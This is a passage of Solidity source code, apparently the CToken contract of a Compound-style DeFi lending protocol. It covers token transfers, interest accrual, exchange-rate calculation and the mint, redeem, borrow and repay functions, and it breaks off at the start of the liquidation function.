comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR, "balance could not be calculated"); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal 